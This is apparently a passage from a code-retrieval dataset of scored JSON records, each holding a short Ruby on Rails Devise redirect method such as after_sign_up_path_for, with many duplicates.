"def after_sign_up_path_for(resource)\n after_sign_in_path_for(resource)\n end", "title": "" }, { "docid": "dfc2c19815fc36a6c480c87e7a76f4c2", "score": "0.69687116", "text": "def after_sign_up_path_for(resource)\n after_sign_in_path_for(resource)\n end", "title": "" }, { "docid": "4ab870246f0f421fe4b5ccc32196f579", "score": "0.6963813", "text": "def after_sign_up_path_for(_resource)\n super\n end", "title": "" }, { "docid": "08ceb7f051939d33c1296181cf133161", "score": "0.69571185", "text": "def after_sign_up_path_for(resource)\n # super(resource)\n \"/your_keys\"\n end", "title": "" }, { "docid": "28869633421fba5e5a17757118025457", "score": "0.69560677", "text": "def after_sign_up_path_for(resource)\r\n after_sign_in_path_for(resource)\r\n end", "title": "" }, { "docid": "e2b2b36cc9b8b9966d1d9ba4352895f6", "score": "0.695565", "text": "def after_sign_up_path_for(resource)\n user_path(resource)\n end", "title": "" }, { "docid": "56e6ae2763a5286d6c79bb59abe1f2e4", "score": "0.69426", "text": "def after_sign_up_path_for(resource)\n # super(resource)\n root_path\n end", "title": "" }, { "docid": "a39a6ea692a75b78a860b126efbc11cd", "score": "0.6931651", "text": "def after_sign_up_path_for(resource)\n root_path\n end", "title": "" }, { "docid": "d48e5aaa00c90b2c86c58a93d0556164", "score": "0.692384", "text": "def after_sign_up_path_for(resource)\n user_path(current_user)\n end", "title": "" }, { "docid": "d48e5aaa00c90b2c86c58a93d0556164", "score": "0.692384", "text": "def after_sign_up_path_for(resource)\n user_path(current_user)\n end", "title": "" }, { "docid": "f9231a86563a462aeb89f9412e4e73aa", "score": "0.69201595", "text": "def after_sign_up_path_for(resource)\n after_sign_in_path_for(resource)\n end", "title": "" }, { "docid": "1cc38bea08e5e1f4f4f33e3e7a29edbf", "score": "0.6911792", "text": "def after_sign_up_path_for(resource)\n '/'\n end", "title": "" }, { "docid": "03ff7b269b2ad95cc19ac525188aadee", "score": "0.69105005", "text": "def after_account_setup_path\n root_path\n end", "title": "" }, { "docid": "290ac7c30b0623e73d17ddc498009d9f", "score": "0.6908656", "text": "def after_sign_up_path_for(user)\n after_sign_in_path_for(user)\n end", "title": "" }, { "docid": "5b26eaabf0f25a7ac30fe366a3f64c9b", "score": "0.69066995", "text": "def after_sign_up_path_for(resource)\n \tafter_sign_in_path_for(resource)\n end", "title": "" }, { "docid": "8865080dee84293718fed08d13d53f8f", "score": "0.6902975", "text": "def after_sign_up_path_for(resource)\n user_after_sign_up_path(@user, :basic_profile)\n end", "title": "" }, { "docid": "3203703352c7d1ecd7125190cd27c329", "score": "0.6892842", "text": "def after_sign_up_path_for(resource)\n new_user_session_path\n end", "title": "" }, { "docid": "23b7c15b9ba887138475274192be4af1", "score": "0.68918073", "text": "def after_sign_up_path_for(resource)\n after_sign_in_path_for(resource)\n end", "title": "" }, { "docid": "23b7c15b9ba887138475274192be4af1", "score": "0.68918073", "text": "def after_sign_up_path_for(resource)\n after_sign_in_path_for(resource)\n end", "title": "" }, { "docid": "23b7c15b9ba887138475274192be4af1", "score": "0.68918073", "text": "def after_sign_up_path_for(resource)\n after_sign_in_path_for(resource)\n end", "title": "" }, { "docid": "23b7c15b9ba887138475274192be4af1", "score": "0.68918073", "text": "def after_sign_up_path_for(resource)\n after_sign_in_path_for(resource)\n end", "title": "" }, { "docid": "23b7c15b9ba887138475274192be4af1", "score": "0.68918073", "text": "def after_sign_up_path_for(resource)\n after_sign_in_path_for(resource)\n end", "title": "" }, { "docid": "23b7c15b9ba887138475274192be4af1", "score": "0.68918073", "text": "def after_sign_up_path_for(resource)\n after_sign_in_path_for(resource)\n end", "title": "" }, { "docid": "23b7c15b9ba887138475274192be4af1", "score": "0.68918073", "text": "def after_sign_up_path_for(resource)\n after_sign_in_path_for(resource)\n end", "title": "" }, { "docid": "23b7c15b9ba887138475274192be4af1", "score": "0.68918073", "text": "def after_sign_up_path_for(resource)\n after_sign_in_path_for(resource)\n end", "title": "" }, { "docid": "23b7c15b9ba887138475274192be4af1", "score": "0.68918073", "text": "def after_sign_up_path_for(resource)\n after_sign_in_path_for(resource)\n end", "title": "" }, { "docid": "23b7c15b9ba887138475274192be4af1", "score": "0.68918073", "text": "def after_sign_up_path_for(resource)\n after_sign_in_path_for(resource)\n end", "title": "" }, { "docid": "23b7c15b9ba887138475274192be4af1", "score": "0.68918073", "text": "def after_sign_up_path_for(resource)\n after_sign_in_path_for(resource)\n end", "title": "" }, { "docid": "23b7c15b9ba887138475274192be4af1", "score": "0.68918073", "text": "def after_sign_up_path_for(resource)\n after_sign_in_path_for(resource)\n end", "title": "" }, { "docid": "23b7c15b9ba887138475274192be4af1", "score": "0.68918073", "text": "def after_sign_up_path_for(resource)\n after_sign_in_path_for(resource)\n end", "title": "" }, { "docid": "23b7c15b9ba887138475274192be4af1", "score": "0.68918073", "text": "def after_sign_up_path_for(resource)\n after_sign_in_path_for(resource)\n end", "title": "" }, { "docid": "23b7c15b9ba887138475274192be4af1", "score": "0.68918073", "text": "def after_sign_up_path_for(resource)\n after_sign_in_path_for(resource)\n end", "title": "" }, { "docid": "23b7c15b9ba887138475274192be4af1", "score": "0.68918073", "text": "def after_sign_up_path_for(resource)\n after_sign_in_path_for(resource)\n end", "title": "" }, { "docid": "23b7c15b9ba887138475274192be4af1", "score": "0.68918073", "text": "def after_sign_up_path_for(resource)\n after_sign_in_path_for(resource)\n end", "title": "" }, { "docid": "23b7c15b9ba887138475274192be4af1", "score": "0.68918073", "text": "def after_sign_up_path_for(resource)\n after_sign_in_path_for(resource)\n end", "title": "" }, { "docid": "23b7c15b9ba887138475274192be4af1", "score": "0.68918073", "text": "def after_sign_up_path_for(resource)\n after_sign_in_path_for(resource)\n end", "title": "" }, { "docid": "23b7c15b9ba887138475274192be4af1", "score": "0.68918073", "text": "def after_sign_up_path_for(resource)\n after_sign_in_path_for(resource)\n end", "title": "" }, { "docid": "23b7c15b9ba887138475274192be4af1", "score": "0.68918073", "text": "def after_sign_up_path_for(resource)\n after_sign_in_path_for(resource)\n end", "title": "" }, { "docid": "23b7c15b9ba887138475274192be4af1", "score": "0.68918073", "text": "def after_sign_up_path_for(resource)\n after_sign_in_path_for(resource)\n end", "title": "" }, { "docid": "965d68afb8c6b6890c50c7370978639f", "score": "0.6871383", "text": "def after_sign_up_path_for(user)\n user_path(user)\n end", "title": "" }, { "docid": "2ec1d5865e63275d0c9211841016cf10", "score": "0.68681115", "text": "def after_sign_up_path_for(resource)\n root_path(resource)\n end", "title": "" }, { "docid": "5227615d412c59d7ff0424df91be2c9c", "score": "0.6863987", "text": "def after_sign_up_path_for(resource)\n #after_sign_in_path_for(resource)\n '/users/login'\n end", "title": "" }, { "docid": "4e45025a59dd59fda04625ca639957c4", "score": "0.68619215", "text": "def after_sign_up_path_for(resource)\n super\n end", "title": "" }, { "docid": "02cb926daf735e30cc745839c93d7254", "score": "0.685601", "text": "def path\n @path ||= setup_path\n end", "title": "" }, { "docid": "8950f17dd81fa185c9f1794c979855b5", "score": "0.6849364", "text": "def user_root_path\n root_path\n end", "title": "" }, { "docid": "c38ef4076b9abc08015a14570a3757ff", "score": "0.6839535", "text": "def after_sign_up_path_for(resource)\n if resource.is_a?(User)\n root_path\n end\n end", "title": "" }, { "docid": "00f68c57095ea35bf3c5073e65b390ed", "score": "0.6826778", "text": "def after_sign_up_path_for(resource)\n after_registration_path\n end", "title": "" }, { "docid": "ad28d176c77ba952f2d33608aeeefbb0", "score": "0.68224597", "text": "def after_sign_up_path_for(resource)\n _log(\"after_sign_up_path_for()\")\n after_sign_in_path_for(resource)\n end", "title": "" }, { "docid": "c08a907cbb4999939f877369359dd974", "score": "0.6822112", "text": "def after_sign_up_path_for(resource)\n @user = User.new(params[:id])\n session[:user_id] = current_user.id\n '/sign_up/upload_avatar'\n end", "title": "" }, { "docid": "1255ed35af75afe895a9642eb6f89b12", "score": "0.6815329", "text": "def after_sign_up_path_for(resource)\n super(resource)\n end", "title": "" }, { "docid": "1255ed35af75afe895a9642eb6f89b12", "score": "0.6815329", "text": "def after_sign_up_path_for(resource)\n super(resource)\n end", "title": "" }, { "docid": "1255ed35af75afe895a9642eb6f89b12", "score": "0.6815329", "text": "def after_sign_up_path_for(resource)\n super(resource)\n end", "title": "" }, { "docid": "c27d5c761c257fe9caf255652f53c991", "score": "0.6812776", "text": "def after_sign_up_path_for(resource)\n # super(resource)\n # '/users'\n end", "title": "" }, { "docid": "90f30671ba9c25cae23b4611610715c2", "score": "0.6811003", "text": "def after_sign_up_path_for(resource)\n super(resource)\n end", "title": "" }, { "docid": "90f30671ba9c25cae23b4611610715c2", "score": "0.6811003", "text": "def after_sign_up_path_for(resource)\n super(resource)\n end", "title": "" }, { "docid": "90f30671ba9c25cae23b4611610715c2", "score": "0.6811003", "text": "def after_sign_up_path_for(resource)\n super(resource)\n end", "title": "" }, { "docid": "90f30671ba9c25cae23b4611610715c2", "score": "0.6811003", "text": "def after_sign_up_path_for(resource)\n super(resource)\n end", "title": "" }, { "docid": "e031551f6ce66f2539049b0e75186501", "score": "0.6807388", "text": "def after_sign_up_path_for(resource)\n super(resource)\n \"/users/sign_in\"\n end", "title": "" } ]